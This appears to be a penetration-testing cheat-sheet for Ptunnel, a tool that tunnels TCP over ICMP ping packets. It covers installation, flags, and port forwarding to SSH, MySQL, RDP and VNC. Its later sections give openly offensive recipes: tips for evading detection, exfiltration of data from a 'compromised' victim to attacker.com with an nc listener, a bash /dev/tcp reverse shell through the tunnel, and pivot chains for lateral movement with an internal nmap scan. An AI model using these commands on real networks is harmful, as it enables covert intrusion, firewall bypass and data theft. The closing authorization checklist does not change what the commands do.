Ptunnel (Ping Tunnel) is a sophisticated tunneling utility that encapsulates TCP traffic within ICMP echo request/reply packets (ping). Essential for penetration testing in highly restricted network environments, it enables TCP connections through firewalls that allow ICMP but block standard TCP/UDP traffic. Ptunnel operates invisibly through standard ping activity, making it effective for covert data exfiltration and command execution in locked-down networks.
# Install from repositories
sudo apt-get update
sudo apt-get install -y ptunnel
# Or build from source
git clone https://github.com/royhills/ptunnel.git
cd ptunnel
make clean
make
# Verify installation
ptunnel --version
# Get source code
wget http://www.cs.uit.no/~daniels/PingTunnel/ptunnel-0.72.tar.gz
tar -xzf ptunnel-0.72.tar.gz
cd ptunnel-0.72
# Compile
make
sudo make install
# Verify
ptunnel -h
# Using Homebrew (if available)
brew install ptunnel
# Or build from source
git clone https://github.com/royhills/ptunnel.git
cd ptunnel
make
# Link to /usr/local/bin
sudo cp ptunnel /usr/local/bin/
# Download precompiled binary
# From https://www.cs.uit.no/~daniels/PingTunnel/
# Extract and add to PATH
# Place in C:\Windows\System32\ or add directory to PATH
# Verify installation
ptunnel -h
CLIENT SIDE SERVER SIDE (Gateway)
User App ──┐ ┌─── Target Service
│ │
TCP:22 │ │ TCP:22
▼ ▼
[Ptunnel Client] ──ICMP packets──→ [Ptunnel Server] ──TCP──→ Target
▲ ▲
(Local Port 8022) (Gateway to External Network)
| Command | Description |
|---|
ptunnel -p gateway.com -l 8022 -r target.com -R 22 | Client tunnel |
ptunnel -x password | Server with authentication |
ptunnel -h | Display help information |
sudo ptunnel | Start server (requires root) |
# Start ptunnel server (must run as root)
sudo ptunnel
# Server listens for ICMP tunneling requests
# No additional configuration needed initially
# Start server with password protection
sudo ptunnel -x mysecretpassword
# Only clients with matching password can tunnel
# Server on non-standard interface
sudo ptunnel -s 192.168.1.50
# Listen on specific IP
sudo ptunnel -s gateway.internal.com
# Verbose output for debugging
sudo ptunnel -v
# Run ptunnel in background
nohup sudo ptunnel -v &
# Or with systemd
sudo systemctl start ptunnel
# Enable on boot
sudo systemctl enable ptunnel
| Server Flag | Description |
|---|
-x | Set authentication password |
-s | Server/gateway IP address |
-v | Verbose output |
-c | Cisco compatibility mode |
-l | Local protocol (udp, tcp) |
# Create tunnel to remote server through gateway
ptunnel -p gateway.com -l 8022 -r target.server.com -R 22
# Client listens on local port 8022
# Traffic tunneled to target.server.com:22 via gateway
# Connect with password to authenticated server
ptunnel -p gateway.com -x mysecretpassword -l 8022 -r target.server.com -R 22
# Password must match server configuration
# SSH through tunnel
ptunnel -p gateway.com -l 8022 -r target.server.com -R 22
# HTTP through tunnel
ptunnel -p gateway.com -l 8080 -r internal-web.com -R 80
# Multiple tunnels (different local ports)
ptunnel -p gateway.com -l 8022 -r target1.com -R 22 &
ptunnel -p gateway.com -l 8023 -r target2.com -R 22 &
ptunnel -p gateway.com -l 8080 -r internal-web.com -R 80 &
# Use specific interface for tunnel
ptunnel -p gateway.com -s 192.168.1.100 -l 8022 -r target.server.com -R 22
# Useful on multi-homed systems
| Client Flag | Description |
|---|
-p | Gateway/proxy server |
-l | Local listen port |
-r | Remote target server |
-R | Remote target port |
-s | Source IP address |
-x | Server password |
-u | Unprivileged mode |
-v | Verbose output |
# Terminal 1: Start server
sudo ptunnel
# Terminal 2: Create client tunnel
ptunnel -p 192.168.1.1 -l 8022 -r internal-server.local -R 22
# Terminal 3: SSH through tunnel
ssh -p 8022 username@127.0.0.1
# Now you have SSH access to internal-server through ICMP
# Start server
sudo ptunnel -x tunnel_password
# Create multiple client tunnels
ptunnel -p gateway.com -x tunnel_password -l 8022 -r db.internal -R 3306 &
ptunnel -p gateway.com -x tunnel_password -l 8080 -r web.internal -R 80 &
ptunnel -p gateway.com -x tunnel_password -l 8443 -r web.internal -R 443 &
# Access services through tunnels
mysql -h 127.0.0.1 -P 8022 -u user
firefox http://127.0.0.1:8080
# Start tunnel
ptunnel -p gateway.com -l 3389 -r rdp-server.internal -R 3389
# Connect via RDP
rdesktop 127.0.0.1:3389
# Or in Windows
mstsc /v:127.0.0.1:3389
# Create tunnel
ptunnel -p gateway.com -l 5900 -r vnc-server.internal -R 5900
# Connect VNC client
vncviewer 127.0.0.1:5900
#!/bin/bash
# ptunnel_manager.sh
GATEWAY="gateway.com"
PASSWORD="tunnel_secret"
# Function to create tunnel
create_tunnel() {
local name=$1
local local_port=$2
local remote_host=$3
local remote_port=$4
echo "[*] Creating tunnel: $name"
ptunnel -p "$GATEWAY" -x "$PASSWORD" \
-l "$local_port" -r "$remote_host" -R "$remote_port" &
echo $! > "tunnel_$name.pid"
}
# Function to kill tunnel
kill_tunnel() {
local name=$1
if [ -f "tunnel_$name.pid" ]; then
kill $(cat "tunnel_$name.pid")
rm "tunnel_$name.pid"
echo "[*] Tunnel $name closed"
fi
}
# Create multiple tunnels
create_tunnel "ssh" 8022 "internal-ssh.local" 22
create_tunnel "mysql" 3306 "db-server.local" 3306
create_tunnel "http" 8080 "web-server.local" 80
echo "[*] All tunnels created"
sleep infinity
# Create chain of tunnels for lateral movement
# Attacker → Gateway (ICMP) → Internal Pivot → Target
# Server at gateway
sudo ptunnel -x pass123
# Client creates tunnel to pivot
ptunnel -p gateway.com -x pass123 -l 9999 -r 192.168.100.50 -R 22
# SSH to pivot through tunnel
ssh -p 9999 pivot_user@127.0.0.1
# From pivot, create second tunnel to target
ptunnel -p 127.0.0.1 -l 8022 -r target.internal -R 22
# Access target through both hops
ssh -p 8022 target_user@127.0.0.1
# Watch ICMP traffic
sudo tcpdump -i any "icmp and (echo-request or echo-reply)"
# Monitor bandwidth usage
iftop -i eth0
# Check tunnel statistics
netstat -an | grep ESTABLISHED
# Increase buffer sizes
ptunnel -p gateway.com -l 8022 -r target.com -R 22
# Tunnel over UDP for better performance
ptunnel -p gateway.com -l 8022 -r target.com -R 22 -u
# Avoid detection by limiting ICMP rate
# Modify client to send slower
ptunnel -p gateway.com -l 8022 -r target.com -R 22 -d 100
# Add delays between packets
(ptunnel -p gateway.com -l 8022 -r target.com -R 22) &
# Monitor and throttle as needed
# Tunnel within legitimate traffic
# Mix regular pings with tunnel data
ping -i 60 gateway.com &
# Use tunnel during normal ICMP activity
ptunnel -p gateway.com -l 8022 -r target.com -R 22
# Victim machine (has ICMP out, no TCP)
# Server setup at attacker gateway
sudo ptunnel -x exfil_pass
# From victim (compromised system)
ptunnel -p attacker-gateway.com -x exfil_pass -l 9999 -r attacker.com -R 4444
# Attacker receives data
nc -lvnp 4444 > exfiltrated_data.bin
# Attacker: start server
sudo ptunnel -x shell_pass
# Attacker: listener on normal port
nc -lvnp 5555
# Victim: create tunnel back
ptunnel -p attacker.com -x shell_pass -l 6666 -r attacker.com -R 5555
# Victim: connect back
/bin/bash -i >& /dev/tcp/127.0.0.1/6666 0>&1
# Attacker tunnel
ptunnel -p gateway.com -l 8022 -r pivot-point.internal -R 22
# Lateral movement from pivot
ssh -p 8022 pivot@127.0.0.1
# From pivot, scan internal network
nmap -sV 192.168.100.0/24
# Results exfiltrated via tunnel
# Check ICMP connectivity
ping -c 5 gateway.com
# Verify server is running
sudo netstat -an | grep "icmp"
# Enable verbose on both sides
sudo ptunnel -v
ptunnel -p gateway.com -l 8022 -r target.com -R 22 -v
# Test password
ptunnel -p gateway.com -x test_password -v
# Ensure server and client passwords match
# Server: sudo ptunnel -x mypass
# Client: ptunnel -p gateway.com -x mypass ...
# Check network latency
ping -c 10 gateway.com
# Monitor tunnel with tcpdump
sudo tcpdump -i any "icmp" -n
# Check for packet loss
ping -c 100 gateway.com | grep "loss"
- Authorization: Only tunnel through authorized gateways
- Passwords: Use strong authentication passwords
- Logging: Enable verbose mode for forensic review
- Monitoring: Monitor for ICMP-based tunnel activity
- Network Policy: Establish clear policies on ICMP usage
- Detection: Be aware ICMP tunneling may trigger IDS alerts
- Compliance: Ensure activity complies with security policy
- Documentation: Document all tunnel operations
| Flag | Description |
|---|
-p | Gateway/proxy server hostname |
-l | Local listen port number |
-r | Remote target server hostname |
-R | Remote target port number |
-s | Source IP address |
-x | Authentication password |
-u | Unprivileged mode |
-v | Verbose debugging output |
-c | Cisco compatibility mode |
-d | Delay between packets |
-h | Help information |
- socat — Relay and tunneling utility
- Chisel — Fast TCP/UDP tunneling
- stunnel — SSL/TLS tunneling proxy
- Ligolo-ng — Advanced tunneling framework
- SSH Tunneling — Native SSH port forwarding
- Proxytunnel — HTTP proxy tunneling
- WireGuard — Modern VPN alternative
